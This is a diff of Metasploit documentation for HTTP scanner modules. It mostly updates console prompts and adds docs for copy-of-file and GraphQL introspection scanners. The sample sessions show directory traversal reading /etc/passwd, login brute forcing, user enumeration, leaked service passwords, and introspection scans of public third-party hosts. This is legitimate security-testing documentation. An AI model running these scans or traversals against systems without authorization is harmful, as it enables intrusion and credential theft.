b/documentation/modules/auxiliary/scanner/http/citrix_dir_traversal.md index e5248520f3ba6..1a41ab8a8e343 100644 --- a/documentation/modules/auxiliary/scanner/http/citrix_dir_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/citrix_dir_traversal.md @@ -27,7 +27,7 @@ This module checks if a target server is vulnerable by issuing an HTTP GET reque ## Scenarios ``` -msf5 auxiliary(scanner/http/citrix_dir_traversal) > options +msf auxiliary(scanner/http/citrix_dir_traversal) > options Module options (auxiliary/scanner/http/citrix_dir_traversal): @@ -42,13 +42,13 @@ Module options (auxiliary/scanner/http/citrix_dir_traversal): THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host -msf5 auxiliary(scanner/http/citrix_dir_traversal) > run +msf auxiliary(scanner/http/citrix_dir_traversal) > run [+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781. [+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/citrix_dir_traversal) > +msf auxiliary(scanner/http/citrix_dir_traversal) > ``` ## References diff --git a/documentation/modules/auxiliary/scanner/http/copy_of_file.md b/documentation/modules/auxiliary/scanner/http/copy_of_file.md new file mode 100644 index 0000000000000..abf02d477ca54 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/copy_of_file.md @@ -0,0 +1,37 @@ +## Description + + This module identifies the existence of possible copies of a specific file in a given path. + +## Verification Steps + +1. `./msfconsole -q` +2. `set RHOSTS ` +3. `set RPORT ` +4. `set PATH ` +5. `run` + + +## Scenarios + +``` +msf auxiliary(scanner/http/copy_of_file) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf auxiliary(scanner/http/copy_of_file) > set PATH /search_a_copy.txt +PATH => /search_a_copy.txt +msf auxiliary(scanner/http/copy_of_file) > run +[*] Using code '404' as not found. +[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(1)_of_search_a_copy.txt [200] +[*] Using code '404' as not found. +[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(2)_of_search_a_copy.txt [200] +[*] Using code '400' as not found. +[*] Using code '404' as not found. +[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_of_search_a_copy.txt [200] +[*] Using code '404' as not found. +[*] Using code '404' as not found. +[+] [127.0.0.1] Found http://127.0.0.1:80/Copysearch_a_copy.txt [200] +[*] Using code '404' as not found. +[+] [127.0.0.1] Found http://127.0.0.1:80/_search_a_copy.txt [200] +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/auxiliary/scanner/http/dell_idrac.md b/documentation/modules/auxiliary/scanner/http/dell_idrac.md index d402b4d52c1ec..99dec1bae8581 100644 --- a/documentation/modules/auxiliary/scanner/http/dell_idrac.md +++ b/documentation/modules/auxiliary/scanner/http/dell_idrac.md @@ -24,12 +24,12 @@ default username and password. Tested against Dell Remote Access: ### iDRAC Controller 7 - Enterprise 2.63.60.62 ``` -msf6 > use auxiliary/scanner/http/dell_idrac -msf6 auxiliary(scanner/http/dell_idrac) > set verbose true +msf > use auxiliary/scanner/http/dell_idrac +msf auxiliary(scanner/http/dell_idrac) > set verbose true verbose => true -msf6 auxiliary(scanner/http/dell_idrac) > set rhosts 222.222.2.22 +msf auxiliary(scanner/http/dell_idrac) > set rhosts 222.222.2.22 rhosts => 222.222.2.22 -msf6 auxiliary(scanner/http/dell_idrac) > run +msf auxiliary(scanner/http/dell_idrac) > run [*] Verifying that login page exists at 222.222.2.22 [*] Attempting authentication @@ -45,7 +45,7 @@ msf6 auxiliary(scanner/http/dell_idrac) > run [-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'admin' with password 'password' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/dell_idrac) > creds +msf auxiliary(scanner/http/dell_idrac) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/dicoogle_traversal.md b/documentation/modules/auxiliary/scanner/http/dicoogle_traversal.md index 95cea4a0feb5c..00a1030834a75 100644 --- a/documentation/modules/auxiliary/scanner/http/dicoogle_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/dicoogle_traversal.md @@ -19,12 +19,12 @@ successfully tested against Windows targets. ### Tested on Windows 2012 with Dicoogle 2.5.0 on Java 8 update 151 ``` - msf5 > use auxiliary/scanner/http/dicoogle_traversal - msf5 auxiliary(scanner/http/dicoogle_traversal) > set rhosts 1.1.1.1 + msf > use auxiliary/scanner/http/dicoogle_traversal + msf auxiliary(scanner/http/dicoogle_traversal) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 - msf5 auxiliary(scanner/http/dicoogle_traversal) > set verbose true + msf auxiliary(scanner/http/dicoogle_traversal) > set verbose true verbose => true - msf5 auxiliary(scanner/http/dicoogle_traversal) > run + msf auxiliary(scanner/http/dicoogle_traversal) > run [+] 192.168.2.164:8080 - ; for 16-bit app support [fonts] diff --git a/documentation/modules/auxiliary/scanner/http/docker_version.md b/documentation/modules/auxiliary/scanner/http/docker_version.md index b1316c2ec0f5a..a58ea3b6d8ee7 100644 --- a/documentation/modules/auxiliary/scanner/http/docker_version.md +++ b/documentation/modules/auxiliary/scanner/http/docker_version.md @@ -11,12 +11,12 @@ Enable this to dump all info to the screen. ## Usage ``` -msf5 > use auxiliary/scanner/http/docker_version -msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/docker_version +msf auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(scanner/http/docker_version) > set verbose true +msf auxiliary(scanner/http/docker_version) > set verbose true verbose => true -msf5 auxiliary(scanner/http/docker_version) > run +msf auxiliary(scanner/http/docker_version) > run [*] Identifying Docker Server Version on 127.0.0.1:2375 [+] [Docker Server] Version: 18.03.1-ce @@ -24,5 +24,5 @@ msf5 auxiliary(scanner/http/docker_version) > run [*] Saving host information. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/docker_version) > +msf auxiliary(scanner/http/docker_version) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md index 5521ebadfe3f5..5383df57882ae 100644 --- a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -86,10 +86,10 @@ The path to Dolibarr instance. Defaults to `/`, `http://dolibarrdomain/` ### Dolibarr 16.0.4 on Ubuntu 22.10 Exploitation of a Dolibarr 16.0.4. ``` -msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/ +msf > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/ RHOSTS => http://[Dolibarr domain]/ -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 @@ -107,10 +107,10 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit ### Dolibarr 16.0.4 on Ubuntu 22.10 Attempted exploitation of a Dolibarr 16.0.4 with an empty database. ``` -msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +msf > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X RHOSTS => X.X.X.X -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 @@ -121,12 +121,12 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit ### Dolibarr 17.0.0 on Ubuntu 22.10 Attempted exploitation of a Dolibarr 17.0.0. ``` -msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X +msf > use auxiliary/scanner/http/dolibarr_16_contact_dump +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X RHOSTS => X.X.X.X -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true verbose => true -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit +msf auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [!] The target is not exploitable. Detected apparently non-vulnerable Dolibarr version: 17.0.0 ForceExploit is enabled, proceeding with exploitation. diff --git a/documentation/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.md b/documentation/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.md index 15e14fb5bc084..742337d96a2bc 100644 --- a/documentation/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.md +++ b/documentation/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.md @@ -52,14 +52,14 @@ The module is run with action `SCAN`, and `leak_count` set to `2` to have a bett of leaking interesting information. ``` -msf6 > use auxiliary/scanner/http/elasticsearch_memory_disclosure -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/elasticsearch_memory_disclosure +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > set verbose true +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > set verbose true verbose => true -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > set leak_count 2 +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > set leak_count 2 leak_count => 2 -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > run +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > run [*] Leaking response #1 [*] Leaking response #2 @@ -73,9 +73,9 @@ HTTP/1.1 200 OK..rnal Server Error..1:9200..User-Agent: Mozilla/5.0 (Windows NT In this example, we set the action to `DUMP` to store the data as well. ``` -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > set action dump +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > set action dump action => dump -msf6 auxiliary(scanner/http/elasticsearch_memory_disclosure) > run +msf auxiliary(scanner/http/elasticsearch_memory_disclosure) > run [*] Leaking response #1 [*] Leaking response #2 diff --git a/documentation/modules/auxiliary/scanner/http/emby_ssrf_scanner.md b/documentation/modules/auxiliary/scanner/http/emby_ssrf_scanner.md index fa64496694261..ddfd8e7780141 100644 --- a/documentation/modules/auxiliary/scanner/http/emby_ssrf_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/emby_ssrf_scanner.md @@ -39,12 +39,12 @@ If set to `false`, will not store the captured information in notes. Use `notes ### Emby Server (v4.4.3 on Ubuntu) - Scan Internal 192.168.2.0 Network ``` -msf6 > use auxiliary/scanner/http/emby_ssrf_scanner -msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32 +msf > use auxiliary/scanner/http/emby_ssrf_scanner +msf auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32 emby_server => 10.10.200.32 -msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3 +msf auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3 rhosts => 192.168.2.3 -msf6 auxiliary(scanner/http/emby_ssrf_scanner) > run +msf auxiliary(scanner/http/emby_ssrf_scanner) > run [+] 192.168.2.3:8096 Title: Emby [+] 192.168.2.3:8096 HTTP Code: 200 diff --git a/documentation/modules/auxiliary/scanner/http/emby_version_ssrf.md b/documentation/modules/auxiliary/scanner/http/emby_version_ssrf.md index 6342521000cb1..0da36061b4f78 100644 --- a/documentation/modules/auxiliary/scanner/http/emby_version_ssrf.md +++ b/documentation/modules/auxiliary/scanner/http/emby_version_ssrf.md @@ -19,10 +19,10 @@ Emby servers that may be susceptible to CVE-2020-26948. ## Scenarios ### Emby Server 4.4.3.0 ``` -msf6 > use auxiliary/scanner/http/emby_version_ssrf -msf6 auxiliary(scanner/http/emby_version_ssrf) > set rhosts 10.10.200.32 +msf > use auxiliary/scanner/http/emby_version_ssrf +msf auxiliary(scanner/http/emby_version_ssrf) > set rhosts 10.10.200.32 rhosts => 10.10.200.32 -msf6 auxiliary(scanner/http/emby_version_ssrf) > run +msf auxiliary(scanner/http/emby_version_ssrf) > run [*] Identifying Media Server Version on 10.10.200.32:8096 [+] [Media Server] URI: http://10.10.200.32:8096 / diff --git a/documentation/modules/auxiliary/scanner/http/enum_wayback.md b/documentation/modules/auxiliary/scanner/http/enum_wayback.md index a9ad76966a68d..96fba2aa3d997 100644 --- a/documentation/modules/auxiliary/scanner/http/enum_wayback.md +++ b/documentation/modules/auxiliary/scanner/http/enum_wayback.md @@ -7,10 +7,10 @@ during a web assessment. Finding unlinked and old pages. This module utilizes ## Usage ``` -msf5 > use auxiliary/scanner/http/enum_wayback -msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com +msf > use auxiliary/scanner/http/enum_wayback +msf auxiliary(scanner/http/enum_wayback) > set domain rapid7.com domain => rapid7.com -msf5 auxiliary(scanner/http/enum_wayback) > run +msf auxiliary(scanner/http/enum_wayback) > run [*] Pulling urls from Archive.org [*] Located 43656 addresses for rapid7.com diff --git a/documentation/modules/auxiliary/scanner/http/exchange_proxylogon.md b/documentation/modules/auxiliary/scanner/http/exchange_proxylogon.md index 53dd2c2cc5a54..a3ffbb9174f63 100644 --- a/documentation/modules/auxiliary/scanner/http/exchange_proxylogon.md +++ b/documentation/modules/auxiliary/scanner/http/exchange_proxylogon.md @@ -33,7 +33,7 @@ HTTP Method to use for the check (only). Default: POST ## Scenarios ``` -msf6 auxiliary(scanner/http/exchange_proxylogon) > options +msf auxiliary(scanner/http/exchange_proxylogon) > options Module options (auxiliary/scanner/http/exchange_proxylogon): @@ -47,12 +47,12 @@ Module options (auxiliary/scanner/http/exchange_proxylogon): THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/exchange_proxylogon) > run +msf auxiliary(scanner/http/exchange_proxylogon) > run [+] https://172.20.2.110:443 - The target is vulnerable to CVE-2021-26855. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/exchange_proxylogon) > +msf auxiliary(scanner/http/exchange_proxylogon) > ``` ## References diff --git a/documentation/modules/auxiliary/scanner/http/f5_bigip_virtual_server.md b/documentation/modules/auxiliary/scanner/http/f5_bigip_virtual_server.md index c2ce67e5ec506..ecd44f9955bf8 100644 --- a/documentation/modules/auxiliary/scanner/http/f5_bigip_virtual_server.md +++ b/documentation/modules/auxiliary/scanner/http/f5_bigip_virtual_server.md @@ -27,10 +27,10 @@ products if you want to test locally as well. You can use this module on a single target or several targets. See below for single target usage: ``` -msf6 > use auxiliary/scanner/http/f5_bigip_virtual_server -msf6 auxiliary(scanner/http/f5_bigip_virtual_server) > set RHOSTS YYY.YY.YYY.YYY +msf > use auxiliary/scanner/http/f5_bigip_virtual_server +msf auxiliary(scanner/http/f5_bigip_virtual_server) > set RHOSTS YYY.YY.YYY.YYY RHOSTS => YYY.YY.YYY.YYY -msf6 auxiliary(scanner/http/f5_bigip_virtual_server) > run +msf auxiliary(scanner/http/f5_bigip_virtual_server) > run [+] YYY.YY.YYY.YYY:80 - BigIP HTTP virtual server found [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/f5_mgmt_scanner.md b/documentation/modules/auxiliary/scanner/http/f5_mgmt_scanner.md index 76ee63ffb67c6..6f4b4d44f5fd1 100644 --- a/documentation/modules/auxiliary/scanner/http/f5_mgmt_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/f5_mgmt_scanner.md @@ -24,7 +24,7 @@ This module attempts to identify the web management interfaces of the following ### BigIP 15.1.0.2 Virtual-Edition ``` - msf5 auxiliary(scanner/http/f5_mgmt_scanner) > run + msf auxiliary(scanner/http/f5_mgmt_scanner) > run [+] F5 BigIP web management interface found [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/fortimail_login_bypass_detection.md b/documentation/modules/auxiliary/scanner/http/fortimail_login_bypass_detection.md index d87b13bae5a94..03c3e1319e331 100644 --- a/documentation/modules/auxiliary/scanner/http/fortimail_login_bypass_detection.md +++ b/documentation/modules/auxiliary/scanner/http/fortimail_login_bypass_detection.md @@ -20,7 +20,7 @@ Tested against the following versions of FortiMail: ## Scenarios ``` -msf5 auxiliary(scanner/http/fortimail_login_bypass_detection) > run +msf auxiliary(scanner/http/fortimail_login_bypass_detection) > run [*] Checking vulnerability at 172.16.144.198 [+] 172.16.144.198 - Vulnerable version of FortiMail detected diff --git a/documentation/modules/auxiliary/scanner/http/fortinet_ssl_vpn.md b/documentation/modules/auxiliary/scanner/http/fortinet_ssl_vpn.md index 07414d64527b4..a3ea0e7ae1a9a 100644 --- a/documentation/modules/auxiliary/scanner/http/fortinet_ssl_vpn.md +++ b/documentation/modules/auxiliary/scanner/http/fortinet_ssl_vpn.md @@ -19,7 +19,7 @@ The module supports several hosts at the same time. IP-Addresses have been masked with x ``` -msf5 auxiliary(scanner/http/fortinet_ssl_vpn) > run +msf auxiliary(scanner/http/fortinet_ssl_vpn) > run [+] xxxx:xxxx:xxxx:xxxx::4:443 - Server is responsive... [+] xxxx:xxxx:xxxx:xxxx::4:443 - Application appears to be Fortinet SSL VPN. Module will continue. @@ -37,4 +37,4 @@ msf5 auxiliary(scanner/http/fortinet_ssl_vpn) > run [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/scanner/http/git_scanner.md b/documentation/modules/auxiliary/scanner/http/git_scanner.md index b1b24b706dec0..aab9c684dbb09 100644 --- a/documentation/modules/auxiliary/scanner/http/git_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/git_scanner.md @@ -52,12 +52,12 @@ root@kali:/var/www/html# service apache2 start ### Metasploit git on Kali ``` -msf5 > use auxiliary/scanner/http/git_scanner -msf5 auxiliary(scanner/http/git_scanner) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/git_scanner +msf auxiliary(scanner/http/git_scanner) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(scanner/http/git_scanner) > set TARGETURI /metasploit-framework/.git/ +msf auxiliary(scanner/http/git_scanner) > set TARGETURI /metasploit-framework/.git/ TARGETURI => /metasploit-framework/.git/ -msf5 auxiliary(scanner/http/git_scanner) > run +msf auxiliary(scanner/http/git_scanner) > run [+] http://127.0.0.1/metasploit-framework/.git/ - git repo (version 2) found with 10064 files [+] http://127.0.0.1/metasploit-framework/.git/config - git config file found diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.md b/documentation/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.md index 8858e671865f3..e2fdf8959529e 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_graphql_user_enum.md @@ -50,21 +50,21 @@ of a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html# ### GitLab 14.4.1 on Ubuntu 20.04.2 x64. More than 100 users triggers paging logic. ``` -msf6 > use auxiliary/scanner/http/gitlab_graphql_user_enum -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.13 +msf > use auxiliary/scanner/http/gitlab_graphql_user_enum +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.13 RHOST => 10.0.0.13 -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80 +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80 RPORT => 80 -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > run +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > run [+] Enumerated 142 GitLab users [+] Userlist stored at /home/albinolobster/.msf4/loot/20220311065704_default_10.0.0.13_gitlab.users_704600.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20220311065704_default_10.0.0.13_gitlab.users_704600.txt +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20220311065704_default_10.0.0.13_gitlab.users_704600.txt [*] exec: cat /home/albinolobster/.msf4/loot/20220311065704_default_10.0.0.13_gitlab.users_704600.txt test150 @@ -209,5 +209,5 @@ test support-bot alert-bot root -msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > +msf auxiliary(scanner/http/gitlab_graphql_user_enum) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_login.md b/documentation/modules/auxiliary/scanner/http/gitlab_login.md index 5d22da7e7526c..4818c91753ea0 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_login.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_login.md @@ -47,8 +47,8 @@ gitlab/gitlab-ce:17.2.2-ce.0 ### Single set of credentials being passed ``` -msf6 > use auxiliary/scanner/http/gitlab_login -msf6 auxiliary(scanner/http/gitlab_login) > run rhosts=192.168.56.6 username=root password=strongpasswordcannotguess +msf > use auxiliary/scanner/http/gitlab_login +msf auxiliary(scanner/http/gitlab_login) > run rhosts=192.168.56.6 username=root password=strongpasswordcannotguess [*] 192.168.56.6:80 - GitLab v7 login page [!] No active DB -- Credential data will not be saved! @@ -59,8 +59,8 @@ msf6 auxiliary(scanner/http/gitlab_login) > run rhosts=192.168.56.6 username=roo ### Multiple credentials being passed ``` -msf6 > use auxiliary/scanner/http/gitlab_login -msf6 auxiliary(scanner/http/gitlab_login) > run rhosts=192.168.56.6 user_file=/tmp/user.txt pass_file=/tmp/pass.txt +msf > use auxiliary/scanner/http/gitlab_login +msf auxiliary(scanner/http/gitlab_login) > run rhosts=192.168.56.6 user_file=/tmp/user.txt pass_file=/tmp/pass.txt [*] 192.168.56.6:80 - GitLab v7 login page [!] No active DB -- Credential data will not be saved! diff --git a/documentation/modules/auxiliary/scanner/http/goahead_traversal.md b/documentation/modules/auxiliary/scanner/http/goahead_traversal.md index bb4d26964594d..8e095efb0a787 100644 --- a/documentation/modules/auxiliary/scanner/http/goahead_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/goahead_traversal.md @@ -103,12 +103,12 @@ root@kali:/tmp/goahead-3.4.1# build/linux-x64-default/bin/goahead --verbose --ho Install from the instructions at the top of this document. ``` -msf5 > use auxiliary/scanner/http/goahead_traversal -msf5 auxiliary(scanner/http/goahead_traversal) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/goahead_traversal +msf auxiliary(scanner/http/goahead_traversal) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(scanner/http/goahead_traversal) > set depth 5 +msf auxiliary(scanner/http/goahead_traversal) > set depth 5 depth => 5 -msf5 auxiliary(scanner/http/goahead_traversal) > run +msf auxiliary(scanner/http/goahead_traversal) > run root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin diff --git a/documentation/modules/auxiliary/scanner/http/graphql_introspection_scanner.md b/documentation/modules/auxiliary/scanner/http/graphql_introspection_scanner.md new file mode 100644 index 0000000000000..83404f8be51d6 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/graphql_introspection_scanner.md @@ -0,0 +1,62 @@ +## Vulnerable Application + +This module scans GraphQL endpoints to check if they have enabled introspection. +This allows for gathering the schema for the endpoint, potentially leading to information disclosure. +The module stores this as a vulnerability, and can also store the dumped schema as loot. + +### Creating a Vulnerable Environment +You can either target a public GraphQL endpoint present here: https://github.com/graphql-kit/graphql-apis +Or set up a local server by following a tutorial here: https://www.apollographql.com/docs/apollo-server/getting-started + +## Options + +### TARGETURI + +The GraphQL endpoint URI, which will receive the POST requests. + +## Verification Steps + +1. Do: run `msfconsole` +2. Do: use `auxiliary/scanner/http/graphql_introspection_scanner` +3. Do: set `RHOSTS [IP]` +4. Do: set `TARGETURI [URI]` +5. Do: `run` + +## Scenarios + +### Apollo Server - JavaScript +``` +auxiliary(scanner/http/graphql_introspection_scanner) > check rport=4001 +[+] 127.0.0.1:4001 - The target is vulnerable. The server has introspection enabled. + +auxiliary(scanner/http/graphql_introspection_scanner) > run rport=4001 +[*] Running module against 127.0.0.1 +[+] 127.0.0.1:4001 - Server responded with introspected data. Reporting a vulnerability, and storing it as loot. +[*] Auxiliary module execution completed + +auxiliary(scanner/http/graphql_introspection_scanner) > vulns + +Vulnerabilities +=============== + +Timestamp Host Name References +--------- ---- ---- ---------- +2025-05-27 16:12:25 UTC 127.0.0.1 GraphQL Information Disclosure through Introspection URL-https://portswigger.net/web-security/graphql,URL-https://graphql.o + rg/learn/introspection/ +2025-05-27 16:12:34 UTC 127.0.0.1 GraphQL Introspection Scanner URL-https://portswigger.net/web-security/graphql,URL-https://graphql.o + rg/learn/introspection/ +``` + +### Graphloc +``` +auxiliary(scanner/http/graphql_introspection_scanner) > run rhost=https://graphloc.com/ +[*] Running module against 151.101.1.195 +[*] 151.101.1.195:443 - Server responded with introspected data. Reporting a vulnerability, and storing it as loot. +``` + +### catalysis-hub +``` +uxiliary(scanner/http/graphql_introspection_scanner) > run rhost=https://api.catalysis-hub.org/graphql? +[*] Running module against 3.33.161.45 +[*] 3.33.161.45:443 - Server responded with introspected data. Reporting a vulnerability, and storing it as loot. +``` diff --git a/documentation/modules/auxiliary/scanner/http/http_hsts.md b/documentation/modules/auxiliary/scanner/http/http_hsts.md index 0bd0883df19df..0de70150a43af 100644 --- a/documentation/modules/auxiliary/scanner/http/http_hsts.md +++ b/documentation/modules/auxiliary/scanner/http/http_hsts.md @@ -104,15 +104,15 @@ Finally, execute the following commands: Install using following instructions for Ubuntu listed above. ``` -msf5 > use auxiliary/scanner/http/http_hsts -msf5 auxiliary(scanner/http/http_hsts) > set RHOSTS 192.168.90.91 +msf > use auxiliary/scanner/http/http_hsts +msf auxiliary(scanner/http/http_hsts) > set RHOSTS 192.168.90.91 RHOSTS => 192.168.90.91 -msf5 auxiliary(scanner/http/http_hsts) > run +msf auxiliary(scanner/http/http_hsts) > run [+] 192.168.90.91:443 - Strict-Transport-Security:max-age=63072000; includeSubdomains [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/http_hsts) > +msf auxiliary(scanner/http/http_hsts) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/http_sickrage_password_leak.md b/documentation/modules/auxiliary/scanner/http/http_sickrage_password_leak.md index d67d1bae80267..c9cce8e220a84 100644 --- a/documentation/modules/auxiliary/scanner/http/http_sickrage_password_leak.md +++ b/documentation/modules/auxiliary/scanner/http/http_sickrage_password_leak.md @@ -45,10 +45,10 @@ ### Tested on Windows 7 x86 ``` - msf5 > use auxiliary/scanner/http/http_sickrage_password_leak - msf5 auxiliary(scanner/http/http_sickrage_password_leak) > set RHOSTS 192.168.37.130 + msf > use auxiliary/scanner/http/http_sickrage_password_leak + msf auxiliary(scanner/http/http_sickrage_password_leak) > set RHOSTS 192.168.37.130 RHOSTS => 192.168.37.130 - msf5 auxiliary(scanner/http/http_sickrage_password_leak) > run + msf auxiliary(scanner/http/http_sickrage_password_leak) > run [+] git username: myUsername [+] git password: myPassword @@ -61,5 +61,5 @@ [+] Email username: sickrage@sickrage.com [+] Email password: sickragepass [*] Auxiliary module execution completed - msf5 auxiliary(scanner/http/http_sickrage_password_leak) > + msf auxiliary(scanner/http/http_sickrage_password_leak) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/http_traversal.md b/documentation/modules/auxiliary/scanner/http/http_traversal.md index 1460e33e0c62c..bf0e1aaae50d1 100644 --- a/documentation/modules/auxiliary/scanner/http/http_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/http_traversal.md @@ -69,12 +69,12 @@ Regexp pattern to determine successful directory traversal (default: `^HTTP/\d\. ### Apache/2.4.57 on Kali GNU/Linux Rolling 2023.3 ``` -msf6 > use auxiliary/scanner/http/http_traversal -msf6 auxiliary(scanner/http/http_traversal) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/http_traversal +msf auxiliary(scanner/http/http_traversal) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/http_traversal) > set path /?p= +msf auxiliary(scanner/http/http_traversal) > set path /?p= path => /?p= -msf6 auxiliary(scanner/http/http_traversal) > run +msf auxiliary(scanner/http/http_traversal) > run [*] Running action: CHECK... [+] Found trigger: ../ diff --git 